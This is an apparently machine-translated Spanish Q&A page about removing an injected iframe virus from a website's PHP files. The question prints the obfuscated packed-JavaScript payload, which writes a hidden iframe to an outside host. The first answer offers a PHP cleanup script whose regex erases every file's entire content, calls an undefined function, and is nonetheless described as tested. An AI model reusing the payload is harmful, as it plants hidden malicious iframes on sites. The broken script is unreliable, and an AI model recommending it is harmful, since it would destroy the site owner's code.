¿Cómo puedo eliminar un virus iframe de todos los archivos php en mi sitio web?

Tengo un problema para eliminar un código de virus de mis archivos php. Hay más de 1200 archivos php en mi servidor y cada archivo php ha sido infectado por un virus. Código de virus agregando esta línea a la salida html

aquí el código de virus:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://dhnl/om\\">";1 5="<8";1 7="p";1 4="e";1 b="";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,{})) 

Por encima del código en cada archivo php. ¿Cómo puedo eliminar este código de virus de cada archivo php? ¿Hay una forma rápida de hacerlo?

Puedes usar:

removeVirus.php

 < ?php foreach(rglob("*.php") as $virusFile){ $withVirus = file_get_contents($virusFile); $withoutVirus = preg_replace('%.*%', '', $withVirus); file_put_contents($virusFile, $withoutVirus); } function rglob($pattern, $flags = 0){ // forked from https://github.com/rodurma/PHP-Functions/ // blob/master/glob_recursive.php $files = glob($pattern, $flags); foreach (glob(dirname($pattern).'/*', GLOB_ONLYDIR|GLOB_NOSORT) as $dir){ $files = array_merge($files, glob_recursive ($dir.'/'.basename($pattern), $flags)); } return $files; } 

Uso:

ponga removeVirus.php en la raíz de su sitio web y ejecútelo desde el shell como root (o como el propietario de los archivos)

 php removeVirus.php 

Notas:

1 – He probado el código en mi servidor con 10 archivos php que contienen el virus y funcionó según lo previsto.

2 – Asegúrese de encontrar la fuente del hack y parchear su sistema en consecuencia.

Si el literal de la cadena “código de virus” que ha proporcionado está incrustado en cada archivo php, entonces se puede eliminar a través de la línea de comandos. Abra la aplicación de shell (Símbolo del sistema para Windows o Terminal para sistemas operativos basados ​​en UNIX / UNIX, por ejemplo, OS X, Linux, etc.). Tendrá que escapar del código del virus antes de pasarlo al shell, sin embargo, los métodos ideales pueden variar dependiendo de su sistema. Ejecute los siguientes comandos:

 cd /path/to/your/infected/php/files sed -i 's/insert_escaped_virus_code_here//g' * 

PD Si aún no se ha instalado see, siga estas instrucciones para OS X y Windows .